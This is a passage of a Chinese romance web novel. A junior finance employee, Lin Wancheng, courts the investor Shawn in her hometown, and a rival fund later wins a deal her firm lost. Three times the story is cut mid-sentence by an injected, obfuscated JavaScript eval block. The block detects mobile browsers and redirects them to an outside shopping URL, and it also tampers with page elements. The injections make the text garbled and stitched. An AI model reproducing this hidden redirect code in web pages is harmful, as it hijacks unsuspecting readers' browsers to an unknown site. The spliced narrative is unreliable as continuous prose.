电话那头有些嘈杂，是经纪人恼羞成怒：“不是，你是谁啊？”他想骂声多管闲事，但看着对方那周身气场不知怎么又咽了回去。 男人不轻不重地回：“我刚才路过，看到这家橙子品相不错，想买两个尝尝，正巧听到你们说话。但听了两句就有点听不下去了。” 买橙子？ 席准会干这样的事儿？林晚橙沉着的心情被这么一点荒谬的谐谑冲散了。 他看起来根本就不是和这个镇子搭边的人，这么朴实的场景她想象不出来，这话也不像是能从他口里说出来的。 ——怎么还，挺接地气的？ 而且，只是路过而已，他本来没必要插手的，却还是为阿婆开了口。 她产生了种奇异的飘忽感，眼睫轻颤了下。再走两步就到了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林晚橙不明白他为什么又笑了，只见男人视线就这么徐徐划过，淡漠地落回经纪人身上：“这东西我可以删了，也可以留着。给你两个选择，要不按照先前的约定拿完今年的货，好聚好散。要不打官司，我奉陪到底。” 陈胖子是个欺软怕硬的，在镇子里浑惯了，没见过这样的人。 明明笑着，却让人觉得不敢惹。 他也没那么大胆量，法制社会，哪里会要到缺胳膊断腿的程度？不过吓吓老人家，但仗势欺人横行霸道的缺德事确实干过不少。 在那道让人无处遁形的目光里，一下子认了怂：“您看——您别一下子把话说那么重嘛，咱们凡事好商量不是？” 到底干惯了经销商，滑不溜秋的。 林晚橙感觉他那阵气焰肉眼可见地下去了，暗暗松了口气。秦阿婆受了惊，她快步走过去，轻声细语地安抚。 应该没什么事儿了。 她扶着秦玉芬在里屋坐下，又给阿公打电话，让他们赶紧回来。转头看到席准还在外面跟陈胖子讲话，也不知道在讲什么，陈胖子缩着脑袋在纸上写字。 ——他到底来这里干什么？ 那天晚上在金宝街，她隐约听席准提到“聚喜”的名字，就留心了一下，费尽心思找在博源工作的朋友打听，才知道这家公司近期确实有融资需求，而且老板们对这个项目挺感兴趣。 难道是因为聚喜的总部在杭城，勤州又离杭城这么近，他来见管理层的同时顺便过来转转？ 她心里微微一动，觉得这次偶遇可能是种冥冥中的指引。 林晚橙跟部门里好几个大的销售老板请教过经验，要想开拓客户，就是得不要脸，要像狗皮膏药一样黏上去，让他们甩都甩不掉。 她的目标很明确，也调整好了心态—— 既然想要Shawn的钱，就不该怕他拒绝她，人家都说只要功夫深铁杵磨成针，这才哪儿到哪儿啊？和放弃半个字都不搭边。 林晚橙潜藏的斗志就这么被激发出来。 不就是要个微信吗？哼，她还真不信就加不上了！ 10. 慢走 秦家阿公回来的时候，席准正在让陈胖子重新签协定，一式两份。听闻刚才发生的事自然是吹胡子瞪眼，所幸事情已经解决了，对着席准千恩万谢。 席准说：“举手之劳，您不用客气。” 他说得轻描淡写，坐在桌上的陈胖子差点呕血。席准刚给协议多加了几项条款，细到钱款具体交割时间，验货和后期交货流程，条条都是保护秦家夫妇的权益。 他不知自己怎么就惹上这么一尊大佛，受不住两面夹击的煎熬，工工整整地写完之后问：“您看这样行吗？” “嗯。” 席准点了头，陈胖子如释重负，等秦阿公也签了名，就赶紧夹着尾巴灰溜溜地跑了。 他们在外面商量事宜，林晚橙不好参与，就在屋里陪着秦玉芬说了会儿话，给她倒了杯热茶暖暖身子。 她怕席准喝不惯这边的土茶，就挑一次性纸杯倒了杯温水。 走出去的时候陈胖子已经不见了，男人手里散漫地拿着张纸，她凑过去跟着瞄了眼，整面都是手写的，打眼就看到显眼的第一行——《橙子买卖合同》。 这标题不知怎么有点怪怪的。 林晚橙脚尖蹭了下地面，视线游移着往下落，就看到陈胖子红彤彤的手印和签名。 “……” 不仅罚人家写字帖，还签名画了押，她差点笑出来。 先前跟陈胖子打过几个照面，还不知道对方叫这个名字，又想起席准说的那句话——仗势欺人不是本事，也不知道他自己这样算是不算？ 这念头还没跑，男人就看过来了，林晚橙嘴角偷翘起的那点弧度猝不及防戛然而止，掩唇轻咳了声。 顿了两秒，很有眼力见地端着她的小纸杯迎了上去：“您要喝水吗？” 席准瞥她一眼，接过来：“谢谢。” 林晚橙视线平视到席准脖颈那颗随意敞开的纽扣，觉得他真是她见过最无法捉摸的人，刚才还朝她笑呢，现在又什么表情都没有了，比变脸还反复无常。 于是这么轻轻吞咽了一下，措辞道：“……刚才真是谢谢您，帮了我们这么大一个忙。” “不用。” 林晚橙感觉他难得不忙的样子，刚才也没怎么看手机，尽量自然地试探问：“中秋节，您是来勤州度假吗？” “来出差。” “…哦。” 林晚橙觉得自己之前的推断可能是对的，他是为了聚喜，但绝不合适再深问下去，换了个话题：“勤州景点很多，依山傍水，您要是感兴趣，这几天也可以在附近玩一玩。” “嗯。” 又尬住了，她绞尽脑汁，努力不让话头落到地上：“刚听您说要买橙子……您喜欢吃橙子？” “还行。” ——他就不能再多回两个字吗？！ 譬如我不喜欢，因为橙子太甜，也是种答案不是？ 您喜欢吃橙子吗？林晚橙也不知道自己究竟在问什么问题，小指抠掌心抠得死紧，有点生无可恋。 秦玉芬和老伴在里屋往袋子里装橙子，席准饶有兴致看了片晌，才终于开口：“你住在这儿？” 谢天谢地。 林晚橙略微生赧的脸颊像被赦免，感觉空气重新轻快了起来。 她听懂他实际的问题，反应迅速地提供了充足的信息量：“我老家在这，但秦婆婆只是邻居，小时候很照顾我，我就过来帮帮忙。” “这周边都是小镇？” “对。再往远点就是农田，西边是春山湖，东边是勤江。” 席准看向她：“旅游的话都有什么景点？” 林晚橙如数家珍：“水门码头，天台山，幽竹岩洞，静恩寺，永康街市……哦，这个是夜市，晚上一直到凌晨都有很多小吃摊开着，都是地道的江浙美食，特别好吃——” 她讲话时眼睛亮着，席准低头注视的姿态未动，秦玉芬两人从屋里走出来，各自抱着满满当当两大袋橙子，说是要送给先生的。 “不用，您客气了。” 秦玉芬可能不知道，他是过来出差的，她这样装让人不方便带，但林晚橙不想戳坏老人家的心意，默默没做声。 “一点微不足道的谢礼，先生您就收下吧。” 秦玉芬期盼又请求地看过来，席准静了片刻，没再拒绝。 他打电话让司机过来取了一趟，两夫妇再次道了谢，又热情地把人送出去。 趁席准在和司机说话的时候，林晚橙看到秦玉芬脸色又变得有点担忧，就知道她在想陈胖子的事情，细心安抚道：“阿婆，您也别太担心了，虽说拿货的协议只到今年年底就结束了，但也不是没有别的出路。” “那要怎么办？” “我听说有些电商平台已经开始在做助农补贴项目，就是平台直接派人到各地去拿货，然后再在线上卖到消费者手里。中间省去层层经销商，价格会公允很多，您要不要考虑加入这个项目？” 秦玉芬不懂这些：“要怎么加入？” “您有注意到巷子口那些穿蓝色工作服的人吗？他们是电商平台得萃的工作人员，定期会来这里收货，我找个时间帮您去问问。” “那真是麻烦你了，小橙。” “应该的。” 余光瞥见席准在不远处已经挂了电话，准备要走了。林晚橙匆匆跟阿公阿婆道了别，追了上去：“Shawn！” 她叫他名字，男人回过身来，等她说话。 天色落下来，远处有一道绯红的晚霞，但天空不知什么时候又有些灰沉。林晚橙站定在他面前，扬起脖颈问：“您晚上有约吗？” 席准垂下眸，微微眯起眼：“什么？” “我看天气预报说待会儿雨会下一阵子，您要是方便的话，不如我们找个地方先坐一坐，避一避雨。” 她面上不显，但心跳得比想象中快得多，张了张唇，保持仰视的姿态，“我知道扬桥那头有家很地道的餐馆，红烧青蟹和姜汤面是一绝，生意每天都很火爆，您从北京过来一趟，一定要尝尝这儿的吃食。” 席准情绪不太分明地看着她，淡淡的，似在研判什么。 到底是年轻姑娘，耐不过长时间的胶着，有些乱了阵脚。但定了定神，又兀自镇定继续看他：“这餐馆正好是我一个认识的叔叔家开的，通常能打个折——我请您。” 这声我请您说得还挺铿锵有力，像自己给自己打气。席准的视线不太经心地扫过她浅红的耳根，看穿那层因经验有限而粉饰不足的青涩。 她感觉他好像笑了一下：“有多火爆？” 林晚橙说：“就排队人很多。” “那现在去能排上吗？”席准问，“还是说我们也可以先走个后门？” 林晚橙懵了两秒才反应过来这是打趣。说得好像她很有面子一样，藏在头发里的耳尖加重了颜色：“我可以现在打个电话……” 席准这才低头看了眼手表。 “抱歉，我晚上有别的安排了。”他语气温和，“下次找机会吧。” 客套话而已。 当然是没有下次了。 这拒绝看似温柔，却十分直白。林晚橙怔了一下，努力不让心里的失落流露出来，微错开视线：“…好的。” 这样好的机会，顿了顿又不甘心，问他：“您现在就走？” “嗯。” 才下午五点，还真是一点机会都不给啊！“那您慢走哦。” 席准点了下头，往扬桥那边走，晚上他要和一个本地企业的创始人吃饭，拿出手机看对面发来的订位消息。 走出一段路了，转头却看到还有个人飘在后边，像影子一样一趋一步跟着他。 席准侧过眼，表情似是询问。 林晚橙对如何做一块狗皮膏药还不是很熟练，但她气势莫名坚定，诚恳地笑开了下：“我跟您顺路。” 他要从古镇出去，到市中心去，顺哪门子路？ 席准乜了她一眼，林晚橙在那瞬间忽然领悟到了这件事的精髓，赶了两小步，悄悄挪动过去跟他并肩：“我家就住在镇子口旁边。” 他不置可否，两人之间不远不近地隔了段距离，林晚橙捏着掌心，禁不住轻微侧眸：“您计划在这边呆几天呢？” 席准语气随意：“就这个假期。” “哦。” 太阳很灿烂，被车轮和行人磨得光滑的街砖隐隐透着亮，林晚橙眯了眯眼，看到街边有穿蓝马甲的人，胸口是很清晰的logo。 许多包装严实的箱子整齐堆放在空地上，他们在点货，桌上有二维码，供来往的人们一站式登陆系统。 偶有皮肤晒得黝黑的镇民经过，扬起笑脸跟他们攀谈两句，夹杂着几声道谢，把两筐水果送到桌上。 席准好似也在打量那边，林晚橙心里一动，过去问工作人员：“请问您一下，加入助农项目有什么条件？” 蓝马甲热情地推过二维码：“扫码登记，里面有详细的介绍和具体条款，还有线上人工客服，您想问的任何问题都能在里面找到答案。” 林晚橙是第一次认真观察实际的线下代理点，感觉比想象中更方便。 眼睛轻微一亮，把二维码拍了下来。 目光一转又撞进男人眼里，她脑子里电光石火，解释自己的行为：“我刚才跟阿婆提议让他们加入得萃的助农项目。” 这正好是他在做的投资方向，她方才故意跟着走到代理点在的这条路上，就是想尽可能切入话题。 席准拿起一旁桌上的宣传册翻了翻，终于仔细看了她一眼：“是么，你之前了解过？” 林晚橙大着胆子点头：“嗯，我觉得这种模式挺好的。” “哪里好？” “原来的农货经销模式是C2B2B2C，从乡镇到县再到市，层层分拣批发，最后才能流入大型商超或线下连锁小店。” 而加入电商助农项目，农户只要在平台上挂个小网店，就可以不远万里联系到千千万万的买家，不愁东西卖不出去，还不会被各层经销商压价。 林晚橙觉得，其实今年协议到期是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224051|197536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件好事。这样阿婆以后都不用再受陈胖子他们挟制了，她打心底里高兴。 “在勤州这样的地方引入电商平台之后，就变成了C2B2C，甚至是C2C，点对点直发消费者。就像是一个大仓库，减去中间无数的B端环节，又精确地瞄准了巨大的下沉市场，能帮到这些辛勤的农户，不仅提高效率，节省成本，还发挥了社会价值。” 席准不露声色地听完这番话，放下宣传册：“电商的上市企业很少，你们平常对一级市场也有研究？” 林晚橙觉得他好像终于开始感兴趣了，心里一喜：“偶尔有关注新闻。” 才不是，她自己私底下做了好久的功课，装傻装得很自然，“因为像聚喜和得萃这样的公司规模都很大了，就学习一下各自的商业逻辑。” 姑娘顺应小镇风情，头发柔顺挽到耳后松散地编了条辫子，眼睛亮亮的，连小酒窝都轻浅露出来了。 她觉得自己这几段话衔接得挺漂亮，怎么说出来的？ 而且感觉席准话多的时候就没那么让人怵了，林晚橙心里悄悄想着，可能是被她家乡这种淳朴的风气所感染？ 通体舒畅地徜徉在这种和乐的气氛里，念头还没转过去，就看到那双深沉隼利的眸子落下来了，在阳光里却是轻微荡漾的琥珀色，连同着过分低悦的嗓音：“你说的这两个公司模式刚好完全相反。” 聚喜主打高端品类，专攻大城市，不会来这种小地方收货，只有得萃才做助农。 她一时未解其意，愣了愣：“对呀？” 男人轻浅地勾了勾唇：“可是听你意思，好像是觉得得萃比聚喜还要更好一些？” “……”林晚橙刚端起的乖觉笑容僵了一瞬。 当然是你想投的公司最好。 如果可以这样拍马屁，她早就扑上去了，但此时实在是有口难言。 私募属意投资的项目在还未正式签署协议之前都是严格保密的，她没有办法解释自己小道消息的来源，所以不能捧聚喜捧得太过明显，不然就直接坐实了那天晚上她的确在偷听。 方才只是想引入一下电商的话题，才拿得萃举例子，谁知道他要问这种孰优孰劣的问题？ 要怎么合理地夸赞聚喜，同时又解释自己方才话语间对得萃的青睐呢？ 感觉这遭像是挖了个坑给自己跳了。 林晚橙的苦恼其实很明显，又不敢声张：“我好像也……”没这个意思吧。 “嗯？” 那双低垂的眼睛兴味地缀着浅光，看得她语言系统有些紊乱。席准好整以暇地立在一旁，似乎又不着急出去了，林晚橙总有种他在故意拿自己寻消遣的感觉，但是她没有证据。 脚尖戳了戳地，幽怨的小表情不敢露出来。 “这两家公司不好比较。” 席准浅笑：“哦？为什么？” “这两者……不是一个维度上的东西。”林晚橙觉得自己像一个茶壶，努力地端着水，“聚喜虽然只局限在一二线城市，但客单价高，模式也成熟，消费者信赖，所以投资回报的确定性更高。” “而得萃虽然整体市场更广阔，但是建立高效供应链、等待农户们和小供应商入驻需要时间，也更需要培养消费者心智，要耐心地教育市场——商品都是平价好货，而非低等劣质品，所以一直在补贴，到现在还没有盈利。” “因此要是比较的话，其实各有优劣。”她将将稳住睫毛，抬眸看他，“但肯定是高风险匹配高回报，这完全取决于您的风险偏好，看您究竟想做成多大的事情。” 时间太短，不够她组织语言，多少混着说了些真心话，因此来不及判断措辞是否妥帖。 说完还是紧张，只能暗暗挺直腰背。就这么龃龉片刻，突然听到他问：“你大学在哪儿读的？” 林晚橙愣了下，答：“L大。” “本科毕业就工作？” “是。” “专业金融？”席准又用了那种研判的眼神，不带什么意味，却让人感觉一下子被轻飘飘看透了。 “……对的。” 她自知自己的学历并不算最出类拔萃的，成绩和比赛都是小光环，很容易就被他身边的那些精英、还有他手底下的员工比下去，像她这样年纪这样条件的姑娘，他不知见过多少。 ——要靠什么拿那一千万？ 实践比理论更重要，她处理过二级市场很复杂的交易案例，也和很大的客户打过交道。人生并不是靠那一场考试就定了三六九等，林晚橙并不过分苛视自己的过去，反而为自己能有这样一段经历而感到骄傲。 “如果我有哪里讲得不对，还请您多指教。” 她还是定定直视他，像是在和他赌着气拉锯，明明紧张得睫毛都发抖了，那双乌黑的眼睛却越发的灼亮，好像一棵无比坚韧的植物。 席准垂眸看着，那瞬间忽然起了一点心。 谈不上多明显，但就是想看看，她这种如蒲草般柔软的坚韧，是要风吹雨打激一下才会给，还是不管如何都始终如一。 11. 聚会 林晚橙赶在暴雨来临之际回到了家。 她在外面耽搁得太久了，出了一身汗，赶忙洗了一身爽快的澡。 家里是普通的三房一厅，她自己一间，父母卧室一间，还有一间客卧改造成了书房，一整面都是书柜，里面摆放了严妙春喜爱的各色名家经典。 因从小在这书卷气耳濡目染，林晚橙骨子里也是个有点天真烂漫的人，每次回家最喜欢往书房里钻。这会儿随便拿了本外国小说在看，就听到外面有响动了。 严妙春女士背着个精神的小双肩包哼着歌儿就闯进来了，林晚橙原想不声不响地等她进来，怕她受不住这个惊喜刺激，就直接从书房里蹦了出来。 两人在客厅两头大眼对小眼，过了两秒，严妙春扔了双肩包跑过来，惊喜地抱住她：“——天啦，我乖儿！你怎么回来了？！” 看似是抱，其实夹带私货轻轻锤了她两下，小没良心的半年没着家。 林晚橙笑着躲避她的攻击：“你别弄，痒死了！” 眼睛瞟到严妙春连门口的柜子都拉开了，一副准备到家拿个东西就撤的模样。柜子里整整齐齐码着一副小麻将，看上去小巧得意，林晚橙狡黠地打趣她：“局都组好了吧？这是要去哪儿啊？” “在北京呆久了儿化音也太明显了。”严妙春选择性忽略，拉着她转圈看，“有没有好好吃饭啊？” “当然有！” 每次回来都这么问，好像她一个人照顾不好自己。林晚橙捏捏自己腰间，总感觉软软的还有清减空间，撒娇问：“妈你吃晚饭了吗？” “没呢。” 她又笑：“那还去打麻将吗？” “囡囡回来还打什么麻将啊。”严妙春一介柔软平和的江南女子，现下也眉飞色舞起来，有种“为君皆可抛”的爽利，“走，到外头戳一顿好的去！” 林晚橙提示她：“外面可下着雨呢。” 严妙春眨眼：“家里是没雨衣还是怎么？” 林晚橙心情也轻快起来。是呀，下雨怕什么，还有雨衣呢。两人套上衣服说走就走，踏着滑溜溜的青石，左顾右盼觅食。 她刚才没骗人，扬桥口的姜家菜馆确实受欢迎，餐馆就藏在刚下桥右拐的一条小巷子里，曲径通幽别有洞天，里面热闹喧嚣，但环境很干净，木质桌椅排放得整整齐齐，烟火气十足。 两人脱了雨衣挂在门口，一眼望去差点找不到位置，幸好老板娘看到她们了，亲切唤她小名：“小橙过来啦！哎，妙春！” “嗯！” 老板娘在角落拾掇出一个双人位给她们坐下，空间虽逼仄，但胜在位置好，就在窗边，还可以看到勤江，江面有几点轻舟，依稀在夜幕里亮着霓虹，林晚橙觉得是她记忆里很漂亮的景色了。 这样的好景就应该和亲近的人分享才是。 林晚橙快饿死了，一口气点了六道菜，像是连带着把席准没到的那份也给点了：“那就要一个蛋清羊尾、红烧青蟹，蒜蓉红花草，主食的话姜汤面和嵌糕，甜点牛奶八宝饭？” “完美。” 热气腾腾的姜汤面很快上来了，配着黄鱼酒吃，别有一番风味。 在钢筋大厦间走惯了，好久没这样过，林晚橙低头吸溜着面条，被这种烟火气感染得眼眶有点微润。坐在对面的严妙春看她：“怎么了？” “没有。”妈妈鬓边的发好像有几缕银丝了，她弯起一个真心实意的笑容，眸中水意更盛，“好吃。” “傻样。”严妙春心底柔软地叹息。 两人面对面坐着，彼此都觉得格外熨帖，林晚橙关心：“开学摸底考的结果出来了？小朋友们考得如何？” “哎，就那样吧！几个毛头孩子。” 一个假期过去，是该忘的全忘没了，那暑假作业东拼西凑地交上来，草率得严妙春都没眼看。当老师真要锻炼出乐观的性格和耐心的脾气，不然迟早有一天得被气死。 只有她的得意门生保持了一贯水准，仍然蝉联年级第一。 林晚橙说：“他发挥很稳定呀？” “这孩子真是块学习的料。”严妙春说，“不过……” 林晚橙敏锐地甄别出她话里的情绪，这男孩家庭条件不好。“好像没有爸爸，就妈妈一个人拉扯他长大。”严妙春说。 “那挺可怜的。”她那瞬间轻轻共了情。 林朗山在她小学的时候就去北京了，上初中的时候开家长会别人都是爸爸妈妈一起来，只有严妙春独自一人，形单影只。 林晚橙有时候在想，如果有的选择，她还是希望一家人能够在一起，什么也不求，就想现在这样平平常常地吃顿晚饭就好。 这么想着，拍了张桌面的照片发到他们三人的家庭群里，群名叫“一团将福”。 爸爸的微信头像一直是一盘奇怪的蛏子王，林晚橙有询问过原因，他回答说没原因，单纯爱吃蛏子，逗趣得很。 这会儿就拍了拍林朗山，发了个“偷笑”表情：【来吃饭啦！】 那头像是心有灵犀般蹦出来：【！】 林朗山：【囡囡回家啦？？】 林朗山：【吃好吃的竟然不带我！[哭泣]】 林晚橙调侃：【点了好多菜，是替你先尝尝的~】 林朗山同志发来一个“鄙视”的小表情，让她笑出了声来。 - 回家的感觉是很好，第二天的同学会照旧和乐融融，林晚橙见到薛佳的时候，都恍然惊奇已经两年没见过彼此了，席间高朋满座，薛佳喝多了酒，抱着她吸鼻涕：“呜呜我好想你！” “数学老师不好当吧？”林晚橙睫毛也湿，还记得打趣她。 薛佳呜一声：“不要戳人家痛处嘛！” 林晚橙就笑了，她记得薛佳那时候数学不好，戴着一副厚厚的眼镜框，追在数学老师后面问问题。后来也不知怎么就选了这样一份工作。 高中的时候，好像还在梦里，每天当无忧无虑的遐想少女。 怎么一转眼都已经是衣冠楚楚的大人了？ 放眼望去，都是一张张熟悉又陌生的面孔，大家工作已经是天南地北，中秋佳节，深知能聚在一起不容易，彼此都很珍重，把心意放进酒里。 当然也有天南地北侃的，林晚橙发现还是金融人比较能说道，听隔壁座一个在上海做投行的男生讲他同事的离奇经历——因为熬夜太多，怕加班猝死，遂辞职换工作。 换的工作也是年薪百万，问是什么？原来是去东南亚抓野生猴子去了，专门卖给那些生物医药公司当实验品。 “靠，还有这种工作？！”大家长了见识，乐了，“这技能点能匹配上吗？” 男生语气里有种过来人的幽幽叹息：“笑话！投行人什么解决不了？” 大家一愣，又笑倒一片。 林晚橙在这种气氛中看了眼手机，发现邱总给她发了条消息：【小林，假期打扰了，麻烦帮个忙可以吗？】 她精神一振：【在的，您说。】 邱启宏说：【能麻烦你帮我把账户里所有的腾越股票都卖掉吗？谢谢！】 腾越最近没什么特别的消息，股价一直不温不火，林晚橙记得他持仓也有小八百万了，怎么突然要卖股？ 林晚橙问他是不是要换成别的，她想让邱总再等等，因为感觉之后可能会反弹。谁知他说不是，只是单纯需要用钱。 林晚橙愣了下，不再谏言：【好的，我记下了，下周一早开市就帮您操作[笑脸]】 邱启宏也回了一个乐呵的笑脸过来：【对了小林，还有个事儿想请教你一下。】 每次和邱总聊天她都有种格外放松的感觉，他性格特别好，让人不必太过小心翼翼，能平等地对话：【您说。】 原来是他小女儿要过生日，小姑娘喜欢cosplay，邱总就想给她办一场属于自己的惊喜漫展，邀请好朋友们都来玩。但因为不懂那些东西，就来了解一下年轻人的想法。 林晚橙知道他女儿才八九岁，他真是个好爸爸，平常把姑娘捧在手心里跟眼珠子似的，忙出谋划策，比如找个专门的承办方，设置创意舞台和拍摄灯阵，又譬如邀请一两个有名气的up主过来表演，制造惊喜等等。 她恰好有认识做这方面的朋友，把微信推过去，邱启宏认真向她道了谢。 每当这种时候林晚橙都觉得特别开心，好像又发挥了一点特别的价值，把手机收起来时笑容还洋溢在嘴角。 薛佳也很高兴，拉着她满场地转，和旧友们寒暄。 听说当时和她俩玩得好的徐薏现在也在上海， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224052|197536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在网上当美妆博主，偶尔发发产品测评之类的。现在社交媒体分享愈发流行，她这工作还蛮新潮，只不过这回有事没能过来。 在座的这些高中同学中，林晚橙其实有悄悄留意，有哪些可能对开户有帮助的对象，比如搞猎头的、做风险投资的、律师等等，哪些人当初只有□□没加微信，她都一一再加上，重新联络上感情。 那个讲抓猴子的投行男生也是，林晚橙印象里高中时他们位置离得远，彼此也不怎么了解，没想到最后能步入同一个行业，她觉得这人还挺有趣的。 通过好友之后，对方发来自我介绍：【你可能已经不记得我了，我叫郑乾[呲牙]】 他有这种幽默磁场，直接点出来，却并不让人感到尴尬，林晚橙在心里默念了遍，又不小心笑出来：【这么好的名字，当然记得。】 郑乾说：【你的名字也很好听，还在北京工作？】 就这么寒暄起来，林晚橙感觉他们投行工作确实很辛苦，每天三班两头地倒，为了把企业弄上市，连续几周熬大夜做招股书。又或者是飞各地尽调出差，光鲜的背后也各有心酸。 郑乾问：【你什么时候回去？也是明天从杭城走高铁吧？】 橙子圆滚滚：【对呀！】 郑乾十分自来熟：【不介意的话一起走吧？明天午饭我约了个咱高中大几届的直系学长在高铁站附近吃，要不一起？】 多认识点人总是没错，她便爽快应了下来。 宴席散去，各自打车。薛佳拉着林晚橙在江边散步：“你工作忙不忙？” “还行，你呢？” 林晚橙笑：“忙。” 薛佳皱起小鼻子，故作不满：“我说怎么这么狠心，这么久也不知道回来看我一次！” “我不回来，那你就不能来北京看我吗？” 薛佳愣了下：“也是哦。” 傻不傻？两个人都笑了。 林晚橙有点喝醉了，好久没这样过，勤州的一切都让她觉得陌生而熟悉，好像很久以前的记忆。温和的江风吹拂而来，发丝柔软掠过面颊，她闻到那种空气里清浅的桂花香气。 薛佳像个小型挂件一样搭在她身上，呢喃问：“你做这份工作开心吗？” 两个人互相扶着彼此，亲昵而熨帖，林晚橙说：“开心。” 薛佳问：“陈逐理怎么没和你一起来呢？” 林晚橙才意识到她们之间消息已经这么闭塞了：“…我们早就已经分手了。” 薛佳留意到她的神情，语气一变：“他是不是欺负你了？” 严妙春也问过同样的问题，她不记得当时在妈妈面前是怎么粉饰的了。 薛佳看着她，林晚橙没有逞强，嗓音低了下去：“嗯。” 陈逐理原本的专业是工科，后来她听说他受人推荐去了一家很好的私募基金，在上海，也是做投资。这么大的城市，也许是因为听见了她的心声，分手之后他们没有再碰见一次，让她得以体面地将那些难堪和锐痛都尽数消化。 还没学会怎样轰轰烈烈爱一个人的年纪就被辜负，没有人希望这样。 她是多聪明的姑娘，在陈逐理那里成长了一课，从此学会不再轻易相信别人，但好在足够幸运，没有被磋磨掉珍贵的热忱。 “那不提他了！臭男人！”薛佳把陈逐理当脚下的泥土恶狠狠踩了踩。 “没事，早都过去了。” 薛佳打量着她，语气转而又扬起来，“我感觉你好像哪里变了。” “哪里？” “说不上来，就是比以前更坚定更有神采了。”薛佳向往地问，“北京这么有魔力的吗？” 林晚橙微微有些出神。 北京就是这样大的一座城市，让你感觉自己渺小，连站稳脚跟都不容易，却又觉得自己的梦想并不可笑，反而真实可及。 她没有时间去伤春悲秋。 因为还有更重要的事情要去做，还有很多远方没有去，还有许多耀眼的人不够了解。 她还有正正好一腔沸腾的热血，还在步履不停地前行。 连未来那些可能的艰难险阻也不怎么怕了。 “我也不知道。”林晚橙挽着她的手，弯眼笑了起来，“等你以后到北京来，我带你亲眼瞧瞧。” 12. 得萃 郑乾要见的那位高中直系学长名叫程家瑞，比他们要大四届，以前在高中就是名列前茅，后来加入了一家创业公司，做新能源汽车，现在已经成为公司的高级研发工程师。 这年头电车刚刚起步，很少会有人敢直接入行，都在观望，林晚橙佩服师兄的魄力和勇气。 家瑞师兄人憨直爽朗，热情地邀请他们：“公司成立两年多了。总部就在新城区域，你们有时间的话，我带你们去转转？” 公司叫做途能，创始人也很年轻，也才二十八岁，程家瑞加入公司的时候是被朋友介绍，当是才不到十个人，租了杭城一间很小的办公室。 做车，尤其是电车，需要对产品设计有足够的眼光，以及对未来智能时代的信仰，程家瑞的老板就是这么一个人，从高中就开始创业，有着极其敏锐的商业嗅觉，让他笃定值得追随。 你不得不相信，有些人天生就是为创业而生的。 现在公司还在研发过程中，没有发布任何产品，办公区域仍旧不大，但是装修大气又颇具科技感，并不让人觉得逼仄，林晚橙和郑乾感叹地逛了一圈：“真好啊。” 她回到北京还对这个叫途能的公司记忆犹新，像是也汲取到了能量。 …… 假期后的工作日重新变得繁忙起来。 林晚橙乘坐扶手电梯上办公楼的时候，在国贸熙熙攘攘的人潮中与刘岩擦身而过，彼此都没有发现。 刘岩着急赶回博源，没有进最里面的大会议室。 所有高级合伙人此时正在一起开会，连带着跟进聚喜的整个投资项目组，从MD到最初级的Analyst，所有人都噤若寒蝉,没有人敢出声说话。 张正诠从来没发过那么大的火。 到聚喜最后一锤定音的时候，终于等到消息，可发过来的并不是喜报，而是婉拒——创始人很抱歉也很诚实地告诉他们，虽然自己真的特别想和博源合作，但Tirus给出的价格确实更好，思来想去最后还是选择了Tirus。希望下次能有缘分。 博源报6.8亿美金，持股5%，Tirus的报价恰好就高那么一点，整整7个亿。持股比例却要求更低，只要4.9%。两边都稳稳压住一小头。 那边动作很快，SPA都签完了才来通知，周容森听到电话的时候都暗暗骂了一声：“妈的！” Tirus疯了吧，今年美国总部给到大中华区的投资额度也就10亿美金，在聚喜这个项目上就重金砸了7个亿？ 而且怎么能这么恰好？难免让人心生怀疑。 所有人脑子里都是同样的想法，项目组跟聚喜跟了两个月，同公司的管理层打了不少交道，熬夜写deck，前一天还在饭局上喝酒，聚喜的意向明明很明确，都以为签SPA板上钉钉了，现在整个都是发懵的。 张正诠六十出头，头发都半白。威严的眼睛扫过在场的每一个人，把桌子拍得震响：“不管是哪个环节出了纰漏，这是一次非常严重的内部事故，我要你们彻查这件事，必须给我一个交代！” 桌上所有人神色各异，大气也不敢出。 项目组全体员工倍感焦灼，周容森愤怒，章秉文像是不受待见的边缘人物，有反常的置身事外感，席准坐在张正诠侧面首位，脸上没什么情绪。 会议很快结束，大家站起身的时候，张正诠说：“Shawn，你来我办公室一下。” 众人缩着脑袋鱼贯而出，看着两人一前一后进了房间才敢在小群里悄声打字：【妈呀，刚才好吓人。】 【太奇怪了，Tirus有什么途径知道我们的报价？公司出内鬼了？】 【八成是吧，我看Shawn总脸色也不好。】 【谁他妈整这一死出啊？】 【太操蛋了……两个月白干！】 就这么错过号称互联网新电商TOP1的独角兽企业，别说底下忙前忙后的员工，周容森心情也很差劲，还专门跑到外面抽了根烟。 等了一刻钟，席准从张正诠办公室里出来了。细微的响动也很引人注意，只是一出来，周围那些好奇抬头的员工又纷纷埋了下去。 周容森不知道张正诠跟他说了什么。虽说有项目组，但实际上是Shawn负责领导这个项目，140亿美金估值抗在肩上，不用想也知道会被张正诠施压。 席准简扼出声：“走吧。” 